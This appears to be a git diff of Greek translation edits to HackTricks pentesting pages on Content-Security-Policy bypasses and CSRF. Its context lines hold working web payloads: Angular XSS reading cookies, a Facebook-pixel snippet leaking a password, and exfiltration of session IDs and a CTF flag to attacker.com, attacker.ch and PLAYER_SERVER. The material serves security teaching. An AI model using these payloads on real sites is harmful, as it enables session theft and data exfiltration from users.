-Από εδώ, αν βρείτε ένα XSS και μια δυνατότητα ανεβάσματος αρχείου, και καταφέρετε να βρείτε μια **παρερμηνευμένη επέκταση**, θα μπορούσατε να προσπαθήσετε να ανεβάσετε ένα αρχείο με αυτή την επέκταση και το περιεχόμενο του script. Ή, αν ο διακομιστής ελέγχει τη σωστή μορφή του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot ([μερικά παραδείγματα polyglot εδώ](https://github.com/Polydet/polyglot-database)).
+Από εδώ, αν βρείτε ένα XSS και μια δυνατότητα ανέβασμα αρχείου, και καταφέρετε να βρείτε μια **παρερμηνευμένη επέκταση**, θα μπορούσατε να προσπαθήσετε να ανεβάσετε ένα αρχείο με αυτή την επέκταση και το περιεχόμενο του script. Ή, αν ο διακομιστής ελέγχει τη σωστή μορφή του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot ([μερικά παραδείγματα polyglot εδώ](https://github.com/Polydet/polyglot-database)).
 
 ### Form-action
 
@@ -232,7 +232,7 @@ Angular XSS από ένα όνομα κλάσης:
 ```
 #### Κατάχρηση του κώδικα JS του google recaptcha
 
-Σύμφωνα με [**αυτή την αναφορά CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), μπορείτε να καταχραστείτε [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) μέσα σε μια CSP για να εκτελέσετε αυθαίρετο κώδικα JS παρακάμπτοντας την CSP:
+Σύμφωνα με [**αυτή την αναφορά CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), μπορείτε να καταχραστείτε [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) μέσα σε ένα CSP για να εκτελέσετε αυθαίρετο κώδικα JS παρακάμπτοντας το CSP:
 ```html
 <div
 ng-controller="CarouselController as c"
@@ -293,9 +293,9 @@ https://www.youtube.com/oembed?callback=alert;
 Όπως περιγράφεται στην [παρακάτω ανάρτηση](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), υπάρχουν πολλές τρίτες τομείς, που μπορεί να επιτρέπονται κάπου στο CSP, μπορούν να καταχρηστούν για να εξάγουν δεδομένα ή να εκτελέσουν κώδικα JavaScript. Μερικοί από αυτούς τους τρίτους είναι:
 
 | Οντότητα          | Επιτρεπόμενος Τομέας                          | Δυνατότητες  |
-| ----------------- | --------------------------------------------- | ------------ |
+| ----------------- | --------------------------------------------- | ------------- |
 | Facebook          | www.facebook.com, \*.facebook.com             | Exfil        |
-| Hotjar            | \*.hotjar.com, ask.hotjar.io                 | Exfil        |
+| Hotjar            | \*.hotjar.com, ask.hotjar.io                  | Exfil        |
 | Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net             | Exec         |
 | Amazon CloudFront | \*.cloudfront.net                             | Exfil, Exec  |
 | Amazon AWS        | \*.amazonaws.com                              | Exfil, Exec  |
@@ -309,7 +309,7 @@ https://www.youtube.com/oembed?callback=alert;
 ```
 Content-Security-Policy​: default-src 'self’ www.facebook.com;​
 ```
-ή
+or
 ```
 Content-Security-Policy​: connect-src www.facebook.com;​
 ```
@@ -318,18 +318,18 @@ Content-Security-Policy​: connect-src www.facebook.com;​
 1. Δημιουργήστε έναν λογαριασμό Facebook Developer εδώ.
 2. Δημιουργήστε μια νέα εφαρμογή "Facebook Login" και επιλέξτε "Website".
 3. Μεταβείτε στο "Settings -> Basic" και αποκτήστε το "App ID" σας.
-4. Στον στόχο ιστότοπο από τον οποίο θέλετε να εξάγετε δεδομένα, μπορείτε να εξάγετε δεδομένα χρησιμοποιώντας απευθείας την συσκευή Facebook SDK "fbq" μέσω ενός "customEvent" και του payload δεδομένων.
+4. Στον στόχο ιστότοπο από τον οποίο θέλετε να εξάγετε δεδομένα, μπορείτε να εξάγετε δεδομένα χρησιμοποιώντας απευθείας τη συσκευή SDK του Facebook "fbq" μέσω ενός "customEvent" και του payload δεδομένων.
 5. Μεταβείτε στο "Event Manager" της εφαρμογής σας και επιλέξτε την εφαρμογή που δημιουργήσατε (σημειώστε ότι ο διαχειριστής εκδηλώσεων μπορεί να βρεθεί σε μια διεύθυνση URL παρόμοια με αυτή: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
-6. Επιλέξτε την καρτέλα "Test Events" για να δείτε τις εκδηλώσεις που αποστέλλονται από τον "ιστότοπό σας".
+6. Επιλέξτε την καρτέλα "Test Events" για να δείτε τις εκδηλώσεις που αποστέλλονται από τον "δικό σας" ιστότοπο.
 
-Στη συνέχεια, από την πλευρά του θύματος, εκτελείτε τον παρακάτω κώδικα για να αρχικοποιήσετε το Facebook tracking pixel ώστε να δείχνει στο app-id του λογαριασμού προγραμματιστή του επιτιθέμενου και να εκδώσετε μια προσαρμοσμένη εκδήλωση όπως αυτή:
+Στη συνέχεια, από την πλευρά του θύματος, εκτελείτε τον παρακάτω κώδικα για να αρχικοποιήσετε το pixel παρακολούθησης του Facebook ώστε να δείχνει στο app-id του λογαριασμού προγραμματιστή του επιτιθέμενου και να εκδώσετε μια προσαρμοσμένη εκδήλωση όπως αυτή:
 ```JavaScript
 fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
 fbq('trackCustom', 'My-Custom-Event',{​
 data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
 });
 ```
-Όσον αφορά τα άλλα επτά τρίτα μέρη που αναφέρονται στον προηγούμενο πίνακα, υπάρχουν πολλοί άλλοι τρόποι που μπορείτε να τα εκμεταλλευτείτε. Ανατρέξτε στην προηγούμενη [ανάρτηση στο blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) για επιπλέον εξηγήσεις σχετικά με άλλες καταχρήσεις τρίτων.
+Όσον αφορά τους άλλους επτά τρίτους τομείς που αναφέρονται στον προηγούμενο πίνακα, υπάρχουν πολλοί άλλοι τρόποι που μπορείτε να τους εκμεταλλευτείτε. Ανατρέξτε στην προηγούμενη [ανάρτηση στο blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) για επιπλέον εξηγήσεις σχετικά με άλλες καταχρήσεις τρίτων.
 
 ### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
 
@@ -341,7 +341,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
 ```
 Ο περιηγητής θα φορτώσει τελικά `https://example.com/scripts/angular/angular.js`.
 
-Αυτό λειτουργεί επειδή για τον περιηγητή, φορτώνετε ένα αρχείο με όνομα `..%2fangular%2fangular.js` που βρίσκεται κάτω από `https://example.com/scripts/react/`, το οποίο είναι συμβατό με το CSP.
+Αυτό λειτουργεί επειδή για τον περιηγητή, φορτώνετε ένα αρχείο με όνομα `..%2fangular%2fangular.js` που βρίσκεται κάτω από το `https://example.com/scripts/react/`, το οποίο είναι συμβατό με το CSP.
 
 ∑, θα το αποκωδικοποιήσουν, ζητώντας ουσιαστικά `https://example.com/scripts/react/../angular/angular.js`, το οποίο είναι ισοδύναμο με `https://example.com/scripts/angular/angular.js`.
 
@@ -359,7 +359,7 @@ Online Παράδειγμα:[ ](https://jsbin.com/werevijewa/edit?html,output)[h
 
 ### απουσία **base-uri**
 
-Εάν η οδηγία **base-uri** λείπει, μπορείτε να την εκμεταλλευτείτε για να εκτελέσετε μια [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
+Εάν η οδηγία **base-uri** λείπει, μπορείτε να την εκμεταλλευτείτε για να εκτελέσετε μια [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
 
 Επιπλέον, εάν η **σελίδα φορτώνει ένα σενάριο χρησιμοποιώντας μια σχετική διαδρομή** (όπως `<script src="/js/app.js">`) χρησιμοποιώντας ένα **Nonce**, μπορείτε να εκμεταλλευτείτε την **ετικέτα base** για να κάνετε **να φορτώσει** το σενάριο από **τον δικό σας διακομιστή επιτυγχάνοντας XSS.**\
 Εάν η ευάλωτη σελίδα φορτώνεται με **httpS**, χρησιμοποιήστε μια διεύθυνση httpS στη βάση.
@@ -375,7 +375,7 @@ Online Παράδειγμα:[ ](https://jsbin.com/werevijewa/edit?html,output)[h
 <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
 ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
 ```
-Αυτό το απόσπασμα επισημαίνει τη χρήση της οδηγίας `ng-focus` για την ενεργοποίηση του γεγονότος, χρησιμοποιώντας το `$event.path|orderBy` για να χειριστεί τον πίνακα `path`, και εκμεταλλευόμενο το αντικείμενο `window` για να εκτελέσει τη συνάρτηση `alert()`, αποκαλύπτοντας έτσι το `document.cookie`.
+Αυτό το απόσπασμα επισημαίνει τη χρήση της οδηγίας `ng-focus` για την ενεργοποίηση του γεγονότος, χρησιμοποιώντας `$event.path|orderBy` για να χειριστεί τον πίνακα `path`, και εκμεταλλευόμενο το αντικείμενο `window` για να εκτελέσει τη συνάρτηση `alert()`, αποκαλύπτοντας έτσι το `document.cookie`.
 
 **Βρείτε άλλες παρακάμψεις Angular σε** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
 
@@ -383,7 +383,7 @@ Online Παράδειγμα:[ ](https://jsbin.com/werevijewa/edit?html,output)[h
 ```
 Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
 ```
-Μια πολιτική CSP που επιτρέπει συγκεκριμένα domains για τη φόρτωση σεναρίων σε μια εφαρμογή Angular JS μπορεί να παρακαμφθεί μέσω της κλήσης συναρτήσεων callback και ορισμένων ευάλωτων κλάσεων. Περαιτέρω πληροφορίες σχετικά με αυτή την τεχνική μπορούν να βρεθούν σε έναν λεπτομερή οδηγό που είναι διαθέσιμος σε αυτό το [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
+Μια πολιτική CSP που επιτρέπει συγκεκριμένα domains για τη φόρτωση σεναρίων σε μια εφαρμογή Angular JS μπορεί να παρακαμφθεί μέσω της κλήσης callback συναρτήσεων και ορισμένων ευάλωτων κλάσεων. Περαιτέρω πληροφορίες σχετικά με αυτή την τεχνική μπορούν να βρεθούν σε έναν λεπτομερή οδηγό που είναι διαθέσιμος σε αυτό το [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
 
 Λειτουργικά payloads:
 ```html
@@ -397,7 +397,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
 
 ### Παράκαμψη μέσω Ανακατεύθυνσης
 
-Τι συμβαίνει όταν η CSP συναντήσει ανακατεύθυνση από τον διακομιστή; Εάν η ανακατεύθυνση οδηγεί σε διαφορετική προέλευση που δεν επιτρέπεται, θα αποτύχει.
+Τι συμβαίνει όταν το CSP συναντά ανακατεύθυνση από την πλευρά του διακομιστή; Εάν η ανακατεύθυνση οδηγεί σε διαφορετική προέλευση που δεν επιτρέπεται, θα αποτύχει.
 
 Ωστόσο, σύμφωνα με την περιγραφή στο [CSP spec 4.2.2.3. Διαδρομές και Ανακατευθύνσεις](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), εάν η ανακατεύθυνση οδηγεί σε διαφορετική διαδρομή, μπορεί να παρακάμψει τους αρχικούς περιορισμούς.
 
@@ -421,15 +421,15 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
 ```
 Αν το CSP είναι ρυθμισμένο σε `https://www.google.com/a/b/c/d`, καθώς η διαδρομή λαμβάνεται υπόψη, τόσο τα scripts `/test` όσο και `/a/test` θα αποκλειστούν από το CSP.
 
-Ωστόσο, το τελικό `http://localhost:5555/301` θα **ανακατευθυνθεί από την πλευρά του διακομιστή σε `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Δεδομένου ότι πρόκειται για ανακατεύθυνση, **η διαδρομή δεν λαμβάνεται υπόψη**, και το **script μπορεί να φορτωθεί**, παρακάμπτοντας έτσι τον περιορισμό της διαδρομής.
+Ωστόσο, το τελικό `http://localhost:5555/301` θα **ανακατευθυνθεί από τον server σε `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Δεδομένου ότι πρόκειται για ανακατεύθυνση, **η διαδρομή δεν λαμβάνεται υπόψη**, και το **script μπορεί να φορτωθεί**, παρακάμπτοντας έτσι τον περιορισμό της διαδρομής.
 
 Με αυτή την ανακατεύθυνση, ακόμη και αν η διαδρομή καθοριστεί πλήρως, θα παρακαμφθεί.
 
-Επομένως, η καλύτερη λύση είναι να διασφαλιστεί ότι η ιστοσελίδα δεν έχει ανοιχτές ευπάθειες ανακατεύθυνσης και ότι δεν υπάρχουν τομείς που μπορούν να εκμεταλλευτούν στους κανόνες CSP.
+Επομένως, η καλύτερη λύση είναι να διασφαλιστεί ότι η ιστοσελίδα δεν έχει καμία ευπάθεια ανοιχτής ανακατεύθυνσης και ότι δεν υπάρχουν τομείς που μπορούν να εκμεταλλευτούν στους κανόνες CSP.
 
 ### Παράκαμψη CSP με κρεμασμένο markup
 
-Διαβάστε [πώς εδώ](../dangling-markup-html-scriptless-injection/).
+Διαβάστε [πώς εδώ](../dangling-markup-html-scriptless-injection/index.html).
 
 ### 'unsafe-inline'; img-src \*; μέσω XSS
 ```
@@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
 ```
 `'unsafe-inline'` σημαίνει ότι μπορείτε να εκτελέσετε οποιοδήποτε σενάριο μέσα στον κώδικα (το XSS μπορεί να εκτελέσει κώδικα) και `img-src *` σημαίνει ότι μπορείτε να χρησιμοποιήσετε στην ιστοσελίδα οποιαδήποτε εικόνα από οποιαδήποτε πηγή.
 
-Μπορείτε να παρακάμψετε αυτήν την CSP εξάγοντας τα δεδομένα μέσω εικόνων (σε αυτήν την περίπτωση το XSS εκμεταλλεύεται μια CSRF όπου μια σελίδα προσβάσιμη από το bot περιέχει μια SQLi, και εξάγει τη σημαία μέσω μιας εικόνας):
+Μπορείτε να παρακάμψετε αυτήν την CSP εξάγοντας τα δεδομένα μέσω εικόνων (σε αυτή την περίπτωση το XSS εκμεταλλεύεται μια CSRF όπου μια σελίδα προσβάσιμη από το bot περιέχει μια SQLi, και εξάγει τη σημαία μέσω μιας εικόνας):
 ```javascript
 <script>
 fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
@@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
 ```
 Από: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
 
-Μπορείτε επίσης να εκμεταλλευτείτε αυτή τη ρύθμιση για να **φορτώσετε κώδικα javascript που έχει εισαχθεί μέσα σε μια εικόνα**. Αν, για παράδειγμα, η σελίδα επιτρέπει τη φόρτωση εικόνων από το Twitter. Μπορείτε να **δημιουργήσετε** μια **ειδική εικόνα**, να **την ανεβάσετε** στο Twitter και να εκμεταλλευτείτε το "**unsafe-inline**" για να **εκτελέσετε** έναν κώδικα JS (όπως μια κανονική XSS) που θα **φορτώσει** την **εικόνα**, θα **εξάγει** τον **JS** από αυτήν και θα **τον εκτελέσει**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+Μπορείτε επίσης να εκμεταλλευτείτε αυτή τη ρύθμιση για να **φορτώσετε κώδικα javascript που έχει εισαχθεί μέσα σε μια εικόνα**. Αν, για παράδειγμα, η σελίδα επιτρέπει τη φόρτωση εικόνων από το Twitter. Μπορείτε να **δημιουργήσετε** μια **ειδική εικόνα**, να την **ανεβάσετε** στο Twitter και να εκμεταλλευτείτε το "**unsafe-inline**" για να **εκτελέσετε** έναν κώδικα JS (όπως μια κανονική XSS) που θα **φορτώσει** την **εικόνα**, θα **εξάγει** τον **JS** από αυτήν και θα **εκτελέσει** **αυτόν**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
 
 ### Με Service Workers
 
@@ -472,7 +472,7 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
 
 #### Edge
 
-Στο Edge είναι πολύ πιο απλό. Αν μπορείτε να προσθέσετε στο CSP απλά αυτό: **`;_`** **Edge** θα **απορρίψει** ολόκληρη την **πολιτική**.\
+Στο Edge είναι πολύ πιο απλό. Αν μπορείτε να προσθέσετε στο CSP μόνο αυτό: **`;_`** **Edge** θα **απορρίψει** ολόκληρη την **πολιτική**.\
 Παράδειγμα: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
 
 ### img-src \*; μέσω XSS (iframe) - Επίθεση χρόνου
@@ -540,15 +540,15 @@ console.log(prefix)
 run()
 </script>
 ```
-### Μέσω Bookmarklets
+### Via Bookmarklets
 
-Αυτή η επίθεση θα περιλάμβανε κάποια κοινωνική μηχανική όπου ο επιτιθέμενος **πείθει τον χρήστη να σύρει και να αποθέσει έναν σύνδεσμο πάνω στο bookmarklet του προγράμματος περιήγησης**. Αυτό το bookmarklet θα περιείχε **κακόβουλο javascript** κώδικα που όταν σύρεται και αποτίθεται ή κάνετε κλικ θα εκτελείται στο πλαίσιο του τρέχοντος διαδικτυακού παραθύρου, **παρακάμπτοντας το CSP και επιτρέποντας την κλοπή ευαίσθητων πληροφοριών** όπως cookies ή tokens.
+Αυτή η επίθεση θα περιλάμβανε κάποια κοινωνική μηχανική όπου ο επιτιθέμενος **πείθει τον χρήστη να σύρει και να ρίξει έναν σύνδεσμο πάνω στο bookmarklet του προγράμματος περιήγησης**. Αυτό το bookmarklet θα περιείχε **κακόβουλο javascript** κώδικα που όταν σύρεται και ρίχνεται ή κάνετε κλικ θα εκτελείται στο πλαίσιο του τρέχοντος παραθύρου ιστού, **παρακάμπτοντας το CSP και επιτρέποντας την κλοπή ευαίσθητων πληροφοριών** όπως cookies ή tokens.
 
 Για περισσότερες πληροφορίες [**ελέγξτε την αρχική αναφορά εδώ**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 
-### Παράκαμψη CSP περιορίζοντας το CSP
+### CSP bypass by restricting CSP
 
-Στην [**αυτή την αναφορά CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), το CSP παρακάμπτεται με την εισαγωγή μέσα σε ένα επιτρεπόμενο iframe ενός πιο περιοριστικού CSP που απαγόρευε τη φόρτωση ενός συγκεκριμένου αρχείου JS που, στη συνέχεια, μέσω **prototype pollution** ή **dom clobbering** επέτρεπε να **καταχραστεί ένα διαφορετικό σενάριο για να φορτώσει ένα αυθαίρετο σενάριο**.
+Στο [**αυτή την αναφορά CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), το CSP παρακάμπτεται με την εισαγωγή μέσα σε ένα επιτρεπόμενο iframe ενός πιο περιοριστικού CSP που απαγόρευε τη φόρτωση ενός συγκεκριμένου αρχείου JS που, στη συνέχεια, μέσω **prototype pollution** ή **dom clobbering** επέτρεπε να **καταχραστεί ένα διαφορετικό σενάριο για να φορτώσει ένα αυθαίρετο σενάριο**.
 
 Μπορείτε να **περιορίσετε ένα CSP ενός Iframe** με το **`csp`** χαρακτηριστικό:
 ```html
@@ -566,11 +566,11 @@ content="script-src 'self'
 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
 'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
 ```
-### JS exfiltration με Content-Security-Policy-Report-Only
+### JS exfiltration with Content-Security-Policy-Report-Only
 
-Αν μπορέσεις να κάνεις τον διακομιστή να απαντήσει με την κεφαλίδα **`Content-Security-Policy-Report-Only`** με μια **τιμή που ελέγχεις εσύ** (ίσως λόγω CRLF), θα μπορούσες να την κατευθύνεις στον διακομιστή σου και αν **τυλίξεις** το **JS περιεχόμενο** που θέλεις να εξάγεις με **`<script>`** και επειδή είναι πολύ πιθανό το `unsafe-inline` να μην επιτρέπεται από την CSP, αυτό θα **προκαλέσει ένα σφάλμα CSP** και μέρος του script (που περιέχει τις ευαίσθητες πληροφορίες) θα σταλεί στον διακομιστή από το `Content-Security-Policy-Report-Only`.
+Αν μπορέσετε να κάνετε τον διακομιστή να απαντήσει με την κεφαλίδα **`Content-Security-Policy-Report-Only`** με μια **τιμή που ελέγχετε εσείς** (ίσως λόγω ενός CRLF), θα μπορούσατε να το κατευθύνετε στον διακομιστή σας και αν **τυλίξετε** το **JS περιεχόμενο** που θέλετε να εξάγετε με **`<script>`** και επειδή είναι πολύ πιθανό ότι το `unsafe-inline` δεν επιτρέπεται από την CSP, αυτό θα **προκαλέσει ένα σφάλμα CSP** και μέρος του script (που περιέχει τις ευαίσθητες πληροφορίες) θα σταλεί στον διακομιστή από το `Content-Security-Policy-Report-Only`.
 
-Για ένα παράδειγμα [**έλεγξε αυτό το CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
+Για ένα παράδειγμα [**δείτε αυτή την αναφορά CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
 
 ### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
 ```javascript
@@ -599,12 +599,12 @@ Trick from [**here**](https://ctftime.org/writeup/29310).
 
 ### PHP Errors when too many params
 
-Σύμφωνα με την [**τελευταία τεχνική που σχολιάστηκε σε αυτό το βίντεο**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), η αποστολή πάρα πολλών παραμέτρων (1001 GET παραμέτρων αν και μπορείτε επίσης να το κάνετε με POST παραμέτρους και περισσότερα από 20 αρχεία). Οποιαδήποτε καθορισμένη **`header()`** στον κώδικα PHP **δεν θα σταλεί** λόγω του σφάλματος που θα προκαλέσει αυτό.
+Σύμφωνα με την [**τελευταία τεχνική που σχολιάστηκε σε αυτό το βίντεο**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), η αποστολή πάρα πολλών παραμέτρων (1001 GET παραμέτρων αν και μπορείτε επίσης να το κάνετε με POST παραμέτρους και περισσότερα από 20 αρχεία). Οποιαδήποτε καθορισμένη **`header()`** στον PHP web κώδικα **δεν θα σταλεί** λόγω του σφάλματος που θα προκαλέσει αυτό.
 
 ### PHP response buffer overload
 
 Η PHP είναι γνωστή για **την αποθήκευση της απόκρισης σε 4096** bytes από προεπιλογή. Επομένως, αν η PHP εμφανίζει προειδοποίηση, παρέχοντας **αρκετά δεδομένα μέσα στις προειδοποιήσεις**, η **απόκριση** θα **σταλεί** **πριν** από την **κεφαλίδα CSP**, προκαλώντας την κεφαλίδα να αγνοηθεί.\
-Στη συνέχεια, η τεχνική συνίσταται βασικά στο **να γεμίσει το buffer απόκρισης με προειδοποιήσεις** ώστε η κεφαλίδα CSP να μην σταλεί.
+Έτσι, η τεχνική συνίσταται βασικά στο **να γεμίσετε το buffer απόκρισης με προειδοποιήσεις** ώστε η κεφαλίδα CSP να μην σταλεί.
 
 Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
 
@@ -632,7 +632,7 @@ SOME είναι μια τεχνική που εκμεταλλεύεται ένα
 
 ## CSP Exfiltration Bypasses
 
-Εάν υπάρχει ένα αυστηρό CSP που δεν σας επιτρέπει να **αλληλεπιδράσετε με εξωτερικούς διακομιστές**, υπάρχουν ορισμένα πράγματα που μπορείτε πάντα να κάνετε για να εξάγετε τις πληροφορίες.
+Εάν υπάρχει ένα αυστηρό CSP που δεν σας επιτρέπει να **αλληλεπιδράσετε με εξωτερικούς διακομιστές**, υπάρχουν μερικά πράγματα που μπορείτε πάντα να κάνετε για να εξάγετε τις πληροφορίες.
 
 ### Location
 
@@ -643,13 +643,13 @@ document.location = "https://attacker.com/?" + sessionid
 ```
 ### Meta tag
 
-Μπορείτε να ανακατευθύνετε εισάγοντας μια ετικέτα meta (αυτό είναι απλώς μια ανακατεύθυνση, δεν θα διαρρεύσει περιεχόμενο)
+Μπορείτε να ανακατευθύνετε εισάγοντας μια ετικέτα meta (αυτή είναι απλώς μια ανακατεύθυνση, δεν θα διαρρεύσει περιεχόμενο)
 ```html
 <meta http-equiv="refresh" content="1; http://attacker.com" />
 ```
 ### DNS Prefetch
 
-Για να φορτώνουν οι σελίδες πιο γρήγορα, οι φυλλομετρητές θα προ-λύσουν τα ονόματα κεντρικών υπολογιστών σε διευθύνσεις IP και θα τα αποθηκεύσουν στην κρυφή μνήμη για μελλοντική χρήση.\
+Για να φορτώνουν οι σελίδες πιο γρήγορα, οι φυλλομετρητές θα προ-λύσουν ονόματα κεντρικών υπολογιστών σε διευθύνσεις IP και θα τα αποθηκεύσουν στην κρυφή μνήμη για μελλοντική χρήση.\
 Μπορείτε να υποδείξετε σε έναν φυλλομετρητή να προ-λύσει ένα όνομα κεντρικού υπολογιστή με: `<link rel="dns-prefetch" href="something.com">`
 
 Μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να **εξάγετε ευαίσθητες πληροφορίες μέσω DNS αιτημάτων**:
@@ -662,7 +662,7 @@ body.innerHTML +
 sessionid +
 'attacker.ch">'
 ```
-Άλλος τρόπος:
+Ένας άλλος τρόπος:
 ```javascript
 const linkEl = document.createElement("link")
 linkEl.rel = "prefetch"

src/pentesting-web/csrf-cross-site-request-forgery.md

@@ -2,9 +2,9 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Εξήγηση του Cross-Site Request Forgery (CSRF)
+## Εξήγηση της Διασταυρούμενης Αίτησης (CSRF)
 
-**Cross-Site Request Forgery (CSRF)** είναι ένας τύπος ευπάθειας ασφαλείας που εντοπίζεται σε διαδικτυακές εφαρμογές. Επιτρέπει στους επιτιθέμενους να εκτελούν ενέργειες εκ μέρους ανυποψίαστων χρηστών εκμεταλλευόμενοι τις αυθεντικοποιημένες συνεδρίες τους. Η επίθεση εκτελείται όταν ένας χρήστης, ο οποίος είναι συνδεδεμένος σε μια πλατφόρμα θύματος, επισκέπτεται μια κακόβουλη ιστοσελίδα. Αυτή η ιστοσελίδα στη συνέχεια ενεργοποιεί αιτήματα στον λογαριασμό του θύματος μέσω μεθόδων όπως η εκτέλεση JavaScript, η υποβολή φορμών ή η λήψη εικόνων.
+**Διασταυρούμενη Αίτηση (CSRF)** είναι ένας τύπος ευπάθειας ασφαλείας που εντοπίζεται σε διαδικτυακές εφαρμογές. Επιτρέπει στους επιτιθέμενους να εκτελούν ενέργειες εκ μέρους ανυποψίαστων χρηστών εκμεταλλευόμενοι τις αυθεντικοποιημένες συνεδρίες τους. Η επίθεση εκτελείται όταν ένας χρήστης, που είναι συνδεδεμένος σε μια πλατφόρμα θύματος, επισκέπτεται μια κακόβουλη ιστοσελίδα. Αυτή η ιστοσελίδα στη συνέχεια ενεργοποιεί αιτήματα στον λογαριασμό του θύματος μέσω μεθόδων όπως η εκτέλεση JavaScript, η υποβολή φορμών ή η λήψη εικόνων.
 
 ### Προαπαιτούμενα για μια Επίθεση CSRF
 
@@ -16,15 +16,15 @@
 
 ### Γρήγορος Έλεγχος
 
-Μπορείτε να **καταγράψετε το αίτημα στο Burp** και να ελέγξετε τις προστασίες CSRF και για να δοκιμάσετε από τον περιηγητή μπορείτε να κάνετε κλικ στο **Copy as fetch** και να ελέγξετε το αίτημα:
+Μπορείτε να **καταγράψετε το αίτημα στο Burp** και να ελέγξετε τις προστασίες CSRF και για να δοκιμάσετε από τον περιηγητή μπορείτε να κάνετε κλικ στο **Αντιγραφή ως fetch** και να ελέγξετε το αίτημα:
 
 <figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-### Άμυνα κατά του CSRF
+### Άμυνα κατά της CSRF
 
 Μερικά μέτρα κατά της CSRF μπορούν να εφαρμοστούν για την προστασία από επιθέσεις CSRF:
 
-- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Αυτό το χαρακτηριστικό αποτρέπει τον περιηγητή από το να στέλνει cookies μαζί με αιτήματα από άλλες ιστοσελίδες. [Περισσότερα για τα SameSite cookies](hacking-with-cookies/index.html#samesite).
+- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Αυτό το χαρακτηριστικό αποτρέπει τον περιηγητή από το να στέλνει cookies μαζί με διασταυρούμενα αιτήματα. [Περισσότερα για τα SameSite cookies](hacking-with-cookies/index.html#samesite).
 - [**Cross-origin resource sharing**](cors-bypass.md): Η πολιτική CORS της ιστοσελίδας θύματος μπορεί να επηρεάσει τη δυνατότητα της επίθεσης, ειδικά αν η επίθεση απαιτεί την ανάγνωση της απάντησης από την ιστοσελίδα θύμα. [Μάθετε για την παράκαμψη CORS](cors-bypass.md).
 - **Επαλήθευση Χρήστη**: Η προτροπή για τον κωδικό πρόσβασης του χρήστη ή η επίλυση ενός captcha μπορεί να επιβεβαιώσει την πρόθεση του χρήστη.
